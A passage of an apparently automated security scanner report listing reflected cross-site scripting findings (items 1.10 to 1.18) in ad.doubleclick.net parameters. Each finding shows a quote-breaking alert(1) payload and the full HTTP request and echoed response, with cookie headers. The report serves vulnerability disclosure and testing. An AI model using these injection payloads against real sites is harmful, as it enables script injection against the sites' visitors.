<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,901 Template Name = Banner Creative (Flash) - In Page
...[SNIP]...
IAAwAAAAAAo7y1Ci4BAAAAAAAAADY5YjJkMWZjLTM0NTQtMTFlMC04NjBiLTAwMWIyNDc4NGE2MgAzmSoAAAA=,,http%3A%2F%2Fspeckyboy.com%2F,$http://t.invitemedia.com/track_click?auctionID=1297259805974763-83961&campID=64090d9f05"-alert(1)-"c3c6134ad58&crID=83961&pubICode=2076749&pub=281215&partnerID=38&url=http%3A%2F%2Fspeckyboy%2Ecom%2F&redirectURL=http%3a%2f%2fpersonalsavings.americanexpress.com/savings-product.html");
var wmode = "opaque";
var b
...[SNIP]...

1.10. http://ad.doubleclick.net/adi/N553.martinimedianet/B4970757.3 [crID parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N553.martinimedianet/B4970757.3

Issue detail

The value of the crID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d7da0"-alert(1)-"1e6bc067315 was submitted in the crID parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/N553.martinimedianet/B4970757.3;sz=728x90;click=http://ad.technoratimedia.com/clk?2,13%3Bbc1ea512b36e66d9%3B12e0ab5bca4,0%3B%3B%3B2343140080,XL5IAKvfDgD0zXgAAAAAABnVHgAAAAAAAgAAAAYAAAAAAP8AAAAECIhvGwAAAAAATbAfAAAAAADfpSgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.WQgAAAAAAAIAAwAAAAAAo7y1Ci4BAAAAAAAAADY5YjJkMWZjLTM0NTQtMTFlMC04NjBiLTAwMWIyNDc4NGE2MgAzmSoAAAA=,,http%3A%2F%2Fspeckyboy.com%2F,$http://t.invitemedia.com/track_click?auctionID=1297259805974763-83961&campID=64090&crID=83961d7da0"-alert(1)-"1e6bc067315&pubICode=2076749&pub=281215&partnerID=38&url=http%3A%2F%2Fspeckyboy%2Ecom%2F&redirectURL=;pc=[TPAS_ID];ord=1297259805? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://ad.yieldmanager.com/iframe3?XL5IAKvfDgD0zXgAAAAAABnVHgAAAAAAAgAAAAYAAAAAAP8AAAAECIhvGwAAAAAATbAfAAAAAADfpSgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.WQgAAAAAAAIAAwAAAAAAjdtoAG.BBkBUMCqpE9AKQGQQWDm0SBlAl24Sg8DKHUDOzMzMzMwZQGZmZmZmZh5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADepf-VloGbCY5JXkJ8yQxUfqcfWMMwttvYibDSAAAAAA==,,http%3A%2F%2Fspeckyboy.com%2F,Z%3D728x90%26atf%3D0%26brw%3Dcr3%26efo%3D0%26os%3Dwn7%26pfm%3D1%26prm%3D0%26rtg%3Dga%26s%3D974763%26tblg%3Dch%26titn%3Dch%26tphv%3Dch%26ttch%3Dch%26uatRandNo%3D50691%26_salt%3D3626026624%26B%3D10%26u%3Dhttp%253A%252F%252Fspeckyboy.com%252F%26r%3D1,69b2d1fc-3454-11e0-860b-001b24784a62
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Wed, 09 Feb 2011 13:58:40 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7280

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,901 Template Name = Banner Creative (Flash) - In Page
...[SNIP]...
7y1Ci4BAAAAAAAAADY5YjJkMWZjLTM0NTQtMTFlMC04NjBiLTAwMWIyNDc4NGE2MgAzmSoAAAA=,,http%3A%2F%2Fspeckyboy.com%2F,$http://t.invitemedia.com/track_click?auctionID=1297259805974763-83961&campID=64090&crID=83961d7da0"-alert(1)-"1e6bc067315&pubICode=2076749&pub=281215&partnerID=38&url=http%3A%2F%2Fspeckyboy%2Ecom%2F&redirectURL=http%3a%2f%2fpersonalsavings.americanexpress.com/savings-product.html");
var wmode = "opaque";
var bg = "same a
...[SNIP]...

1.11. http://ad.doubleclick.net/adi/N553.martinimedianet/B4970757.3 [partnerID parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N553.martinimedianet/B4970757.3

Issue detail

The value of the partnerID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 66017"-alert(1)-"4b04cff3b6d was submitted in the partnerID parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/N553.martinimedianet/B4970757.3;sz=728x90;click=http://ad.technoratimedia.com/clk?2,13%3Bbc1ea512b36e66d9%3B12e0ab5bca4,0%3B%3B%3B2343140080,XL5IAKvfDgD0zXgAAAAAABnVHgAAAAAAAgAAAAYAAAAAAP8AAAAECIhvGwAAAAAATbAfAAAAAADfpSgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.WQgAAAAAAAIAAwAAAAAAo7y1Ci4BAAAAAAAAADY5YjJkMWZjLTM0NTQtMTFlMC04NjBiLTAwMWIyNDc4NGE2MgAzmSoAAAA=,,http%3A%2F%2Fspeckyboy.com%2F,$http://t.invitemedia.com/track_click?auctionID=1297259805974763-83961&campID=64090&crID=83961&pubICode=2076749&pub=281215&partnerID=3866017"-alert(1)-"4b04cff3b6d&url=http%3A%2F%2Fspeckyboy%2Ecom%2F&redirectURL=;pc=[TPAS_ID];ord=1297259805? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://ad.yieldmanager.com/iframe3?XL5IAKvfDgD0zXgAAAAAABnVHgAAAAAAAgAAAAYAAAAAAP8AAAAECIhvGwAAAAAATbAfAAAAAADfpSgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.WQgAAAAAAAIAAwAAAAAAjdtoAG.BBkBUMCqpE9AKQGQQWDm0SBlAl24Sg8DKHUDOzMzMzMwZQGZmZmZmZh5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADepf-VloGbCY5JXkJ8yQxUfqcfWMMwttvYibDSAAAAAA==,,http%3A%2F%2Fspeckyboy.com%2F,Z%3D728x90%26atf%3D0%26brw%3Dcr3%26efo%3D0%26os%3Dwn7%26pfm%3D1%26prm%3D0%26rtg%3Dga%26s%3D974763%26tblg%3Dch%26titn%3Dch%26tphv%3Dch%26ttch%3Dch%26uatRandNo%3D50691%26_salt%3D3626026624%26B%3D10%26u%3Dhttp%253A%252F%252Fspeckyboy.com%252F%26r%3D1,69b2d1fc-3454-11e0-860b-001b24784a62
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Wed, 09 Feb 2011 13:59:10 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7280

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,901 Template Name = Banner Creative (Flash) - In Page
...[SNIP]...
04NjBiLTAwMWIyNDc4NGE2MgAzmSoAAAA=,,http%3A%2F%2Fspeckyboy.com%2F,$http://t.invitemedia.com/track_click?auctionID=1297259805974763-83961&campID=64090&crID=83961&pubICode=2076749&pub=281215&partnerID=3866017"-alert(1)-"4b04cff3b6d&url=http%3A%2F%2Fspeckyboy%2Ecom%2F&redirectURL=http%3a%2f%2fpersonalsavings.americanexpress.com/savings-product.html");
var wmode = "opaque";
var bg = "same as SWF";
var dcallowscriptaccess = "never"
...[SNIP]...

1.12. http://ad.doubleclick.net/adi/N553.martinimedianet/B4970757.3 [pub parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N553.martinimedianet/B4970757.3

Issue detail

The value of the pub request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ce398"-alert(1)-"d9ac9bb583e was submitted in the pub parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/N553.martinimedianet/B4970757.3;sz=728x90;click=http://ad.technoratimedia.com/clk?2,13%3Bbc1ea512b36e66d9%3B12e0ab5bca4,0%3B%3B%3B2343140080,XL5IAKvfDgD0zXgAAAAAABnVHgAAAAAAAgAAAAYAAAAAAP8AAAAECIhvGwAAAAAATbAfAAAAAADfpSgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.WQgAAAAAAAIAAwAAAAAAo7y1Ci4BAAAAAAAAADY5YjJkMWZjLTM0NTQtMTFlMC04NjBiLTAwMWIyNDc4NGE2MgAzmSoAAAA=,,http%3A%2F%2Fspeckyboy.com%2F,$http://t.invitemedia.com/track_click?auctionID=1297259805974763-83961&campID=64090&crID=83961&pubICode=2076749&pub=281215ce398"-alert(1)-"d9ac9bb583e&partnerID=38&url=http%3A%2F%2Fspeckyboy%2Ecom%2F&redirectURL=;pc=[TPAS_ID];ord=1297259805? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://ad.yieldmanager.com/iframe3?XL5IAKvfDgD0zXgAAAAAABnVHgAAAAAAAgAAAAYAAAAAAP8AAAAECIhvGwAAAAAATbAfAAAAAADfpSgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.WQgAAAAAAAIAAwAAAAAAjdtoAG.BBkBUMCqpE9AKQGQQWDm0SBlAl24Sg8DKHUDOzMzMzMwZQGZmZmZmZh5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADepf-VloGbCY5JXkJ8yQxUfqcfWMMwttvYibDSAAAAAA==,,http%3A%2F%2Fspeckyboy.com%2F,Z%3D728x90%26atf%3D0%26brw%3Dcr3%26efo%3D0%26os%3Dwn7%26pfm%3D1%26prm%3D0%26rtg%3Dga%26s%3D974763%26tblg%3Dch%26titn%3Dch%26tphv%3Dch%26ttch%3Dch%26uatRandNo%3D50691%26_salt%3D3626026624%26B%3D10%26u%3Dhttp%253A%252F%252Fspeckyboy.com%252F%26r%3D1,69b2d1fc-3454-11e0-860b-001b24784a62
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Wed, 09 Feb 2011 13:59:00 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7280

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,901 Template Name = Banner Creative (Flash) - In Page
...[SNIP]...
TM0NTQtMTFlMC04NjBiLTAwMWIyNDc4NGE2MgAzmSoAAAA=,,http%3A%2F%2Fspeckyboy.com%2F,$http://t.invitemedia.com/track_click?auctionID=1297259805974763-83961&campID=64090&crID=83961&pubICode=2076749&pub=281215ce398"-alert(1)-"d9ac9bb583e&partnerID=38&url=http%3A%2F%2Fspeckyboy%2Ecom%2F&redirectURL=http%3a%2f%2fpersonalsavings.americanexpress.com/savings-product.html");
var wmode = "opaque";
var bg = "same as SWF";
var dcallowscriptacc
...[SNIP]...

1.13. http://ad.doubleclick.net/adi/N553.martinimedianet/B4970757.3 [pubICode parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N553.martinimedianet/B4970757.3

Issue detail

The value of the pubICode request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 21f50"-alert(1)-"dcb5152624c was submitted in the pubICode parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/N553.martinimedianet/B4970757.3;sz=728x90;click=http://ad.technoratimedia.com/clk?2,13%3Bbc1ea512b36e66d9%3B12e0ab5bca4,0%3B%3B%3B2343140080,XL5IAKvfDgD0zXgAAAAAABnVHgAAAAAAAgAAAAYAAAAAAP8AAAAECIhvGwAAAAAATbAfAAAAAADfpSgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.WQgAAAAAAAIAAwAAAAAAo7y1Ci4BAAAAAAAAADY5YjJkMWZjLTM0NTQtMTFlMC04NjBiLTAwMWIyNDc4NGE2MgAzmSoAAAA=,,http%3A%2F%2Fspeckyboy.com%2F,$http://t.invitemedia.com/track_click?auctionID=1297259805974763-83961&campID=64090&crID=83961&pubICode=207674921f50"-alert(1)-"dcb5152624c&pub=281215&partnerID=38&url=http%3A%2F%2Fspeckyboy%2Ecom%2F&redirectURL=;pc=[TPAS_ID];ord=1297259805? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://ad.yieldmanager.com/iframe3?XL5IAKvfDgD0zXgAAAAAABnVHgAAAAAAAgAAAAYAAAAAAP8AAAAECIhvGwAAAAAATbAfAAAAAADfpSgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.WQgAAAAAAAIAAwAAAAAAjdtoAG.BBkBUMCqpE9AKQGQQWDm0SBlAl24Sg8DKHUDOzMzMzMwZQGZmZmZmZh5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADepf-VloGbCY5JXkJ8yQxUfqcfWMMwttvYibDSAAAAAA==,,http%3A%2F%2Fspeckyboy.com%2F,Z%3D728x90%26atf%3D0%26brw%3Dcr3%26efo%3D0%26os%3Dwn7%26pfm%3D1%26prm%3D0%26rtg%3Dga%26s%3D974763%26tblg%3Dch%26titn%3Dch%26tphv%3Dch%26ttch%3Dch%26uatRandNo%3D50691%26_salt%3D3626026624%26B%3D10%26u%3Dhttp%253A%252F%252Fspeckyboy.com%252F%26r%3D1,69b2d1fc-3454-11e0-860b-001b24784a62
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Wed, 09 Feb 2011 13:58:50 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7281

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,901 Template Name = Banner Creative (Flash) - In Page
...[SNIP]...
Y5YjJkMWZjLTM0NTQtMTFlMC04NjBiLTAwMWIyNDc4NGE2MgAzmSoAAAA=,,http%3A%2F%2Fspeckyboy.com%2F,$http://t.invitemedia.com/track_click?auctionID=1297259805974763-83961&campID=64090&crID=83961&pubICode=207674921f50"-alert(1)-"dcb5152624c&pub=281215&partnerID=38&url=http%3A%2F%2Fspeckyboy%2Ecom%2F&redirectURL=http%3a%2f%2fpersonalsavings.americanexpress.com/savings-product.html");
var wmode = "opaque";
var bg = "same as SWF";
var dcall
...[SNIP]...

1.14. http://ad.doubleclick.net/adi/N553.martinimedianet/B4970757.3 [sz parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N553.martinimedianet/B4970757.3

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3e2e6"-alert(1)-"2470cde73b was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/N553.martinimedianet/B4970757.3;sz=728x90;click=http://ad.technoratimedia.com/clk?2,13%3Bbc1ea512b36e66d9%3B12e0ab5bca4,0%3B%3B%3B2343140080,XL5IAKvfDgD0zXgAAAAAABnVHgAAAAAAAgAAAAYAAAAAAP8AAAAECIhvGwAAAAAATbAfAAAAAADfpSgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.WQgAAAAAAAIAAwAAAAAAo7y1Ci4BAAAAAAAAADY5YjJkMWZjLTM0NTQtMTFlMC04NjBiLTAwMWIyNDc4NGE2MgAzmSoAAAA=,,http%3A%2F%2Fspeckyboy.com%2F,$http://t.invitemedia.com/track_click?auctionID=1297259805974763-839613e2e6"-alert(1)-"2470cde73b&campID=64090&crID=83961&pubICode=2076749&pub=281215&partnerID=38&url=http%3A%2F%2Fspeckyboy%2Ecom%2F&redirectURL=;pc=[TPAS_ID];ord=1297259805? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://ad.yieldmanager.com/iframe3?XL5IAKvfDgD0zXgAAAAAABnVHgAAAAAAAgAAAAYAAAAAAP8AAAAECIhvGwAAAAAATbAfAAAAAADfpSgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.WQgAAAAAAAIAAwAAAAAAjdtoAG.BBkBUMCqpE9AKQGQQWDm0SBlAl24Sg8DKHUDOzMzMzMwZQGZmZmZmZh5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADepf-VloGbCY5JXkJ8yQxUfqcfWMMwttvYibDSAAAAAA==,,http%3A%2F%2Fspeckyboy.com%2F,Z%3D728x90%26atf%3D0%26brw%3Dcr3%26efo%3D0%26os%3Dwn7%26pfm%3D1%26prm%3D0%26rtg%3Dga%26s%3D974763%26tblg%3Dch%26titn%3Dch%26tphv%3Dch%26ttch%3Dch%26uatRandNo%3D50691%26_salt%3D3626026624%26B%3D10%26u%3Dhttp%253A%252F%252Fspeckyboy.com%252F%26r%3D1,69b2d1fc-3454-11e0-860b-001b24784a62
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Wed, 09 Feb 2011 13:58:20 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7271

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,901 Template Name = Banner Creative (Flash) - In Page
...[SNIP]...
AA.WQgAAAAAAAIAAwAAAAAAo7y1Ci4BAAAAAAAAADY5YjJkMWZjLTM0NTQtMTFlMC04NjBiLTAwMWIyNDc4NGE2MgAzmSoAAAA=,,http%3A%2F%2Fspeckyboy.com%2F,$http://t.invitemedia.com/track_click?auctionID=1297259805974763-839613e2e6"-alert(1)-"2470cde73b&campID=64090&crID=83961&pubICode=2076749&pub=281215&partnerID=38&url=http%3A%2F%2Fspeckyboy%2Ecom%2F&redirectURL=http%3a%2f%2fpersonalsavings.americanexpress.com/savings-product.html");
var wmode = "o
...[SNIP]...

1.15. http://ad.doubleclick.net/adi/N553.martinimedianet/B4970757.3 [url parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N553.martinimedianet/B4970757.3

Issue detail

The value of the url request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8eed4"-alert(1)-"3d107a4253e was submitted in the url parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/N553.martinimedianet/B4970757.3;sz=728x90;click=http://ad.technoratimedia.com/clk?2,13%3Bbc1ea512b36e66d9%3B12e0ab5bca4,0%3B%3B%3B2343140080,XL5IAKvfDgD0zXgAAAAAABnVHgAAAAAAAgAAAAYAAAAAAP8AAAAECIhvGwAAAAAATbAfAAAAAADfpSgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.WQgAAAAAAAIAAwAAAAAAo7y1Ci4BAAAAAAAAADY5YjJkMWZjLTM0NTQtMTFlMC04NjBiLTAwMWIyNDc4NGE2MgAzmSoAAAA=,,http%3A%2F%2Fspeckyboy.com%2F,$http://t.invitemedia.com/track_click?auctionID=1297259805974763-83961&campID=64090&crID=83961&pubICode=2076749&pub=281215&partnerID=38&url=http%3A%2F%2Fspeckyboy%2Ecom%2F8eed4"-alert(1)-"3d107a4253e&redirectURL=;pc=[TPAS_ID];ord=1297259805? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://ad.yieldmanager.com/iframe3?XL5IAKvfDgD0zXgAAAAAABnVHgAAAAAAAgAAAAYAAAAAAP8AAAAECIhvGwAAAAAATbAfAAAAAADfpSgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.WQgAAAAAAAIAAwAAAAAAjdtoAG.BBkBUMCqpE9AKQGQQWDm0SBlAl24Sg8DKHUDOzMzMzMwZQGZmZmZmZh5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADepf-VloGbCY5JXkJ8yQxUfqcfWMMwttvYibDSAAAAAA==,,http%3A%2F%2Fspeckyboy.com%2F,Z%3D728x90%26atf%3D0%26brw%3Dcr3%26efo%3D0%26os%3Dwn7%26pfm%3D1%26prm%3D0%26rtg%3Dga%26s%3D974763%26tblg%3Dch%26titn%3Dch%26tphv%3Dch%26ttch%3Dch%26uatRandNo%3D50691%26_salt%3D3626026624%26B%3D10%26u%3Dhttp%253A%252F%252Fspeckyboy.com%252F%26r%3D1,69b2d1fc-3454-11e0-860b-001b24784a62
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Wed, 09 Feb 2011 13:59:20 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7280

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,901 Template Name = Banner Creative (Flash) - In Page
...[SNIP]...
http%3A%2F%2Fspeckyboy.com%2F,$http://t.invitemedia.com/track_click?auctionID=1297259805974763-83961&campID=64090&crID=83961&pubICode=2076749&pub=281215&partnerID=38&url=http%3A%2F%2Fspeckyboy%2Ecom%2F8eed4"-alert(1)-"3d107a4253e&redirectURL=http%3a%2f%2fpersonalsavings.americanexpress.com/savings-product.html");
var wmode = "opaque";
var bg = "same as SWF";
var dcallowscriptaccess = "never";

var openWindow = "false";
var win
...[SNIP]...

1.16. http://ad.doubleclick.net/adj/N6457.133080.LOTAME/B4840137 [click0 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N6457.133080.LOTAME/B4840137

Issue detail

The value of the click0 request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2beb5'-alert(1)-'e161e8ec7a7 was submitted in the click0 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N6457.133080.LOTAME/B4840137;click0=2beb5'-alert(1)-'e161e8ec7a7 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://twittorati.com/?7903e'%3balert(1)//5a7f48cb57e=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 273
Cache-Control: no-cache
Pragma: no-cache
Date: Wed, 09 Feb 2011 14:10:10 GMT
Expires: Wed, 09 Feb 2011 14:10:10 GMT

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3aa9/14/1c/%2a/y;44306;0-0;0;58835764;1-468/60;0/0/0;;~sscs=%3f2beb5'-alert(1)-'e161e8ec7a7"><img src="http://s0.2mdn.net/
...[SNIP]...

1.17. http://ad.doubleclick.net/adj/N6457.133080.LOTAME/B4840137.2 [click0 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N6457.133080.LOTAME/B4840137.2

Issue detail

The value of the click0 request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload eb169'-alert(1)-'a0fee229f25 was submitted in the click0 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N6457.133080.LOTAME/B4840137.2;click0=eb169'-alert(1)-'a0fee229f25 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://twittorati.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 273
Cache-Control: no-cache
Pragma: no-cache
Date: Wed, 09 Feb 2011 14:08:19 GMT
Expires: Wed, 09 Feb 2011 14:08:19 GMT

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3aa9/14/1c/%2a/k;44306;0-0;0;58835784;1-468/60;0/0/0;;~sscs=%3feb169'-alert(1)-'a0fee229f25"><img src="http://s0.2mdn.net/
...[SNIP]...

1.18. http://ad.doubleclick.net/adj/cm.appnexus/nikon_ron_cpm [sz parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
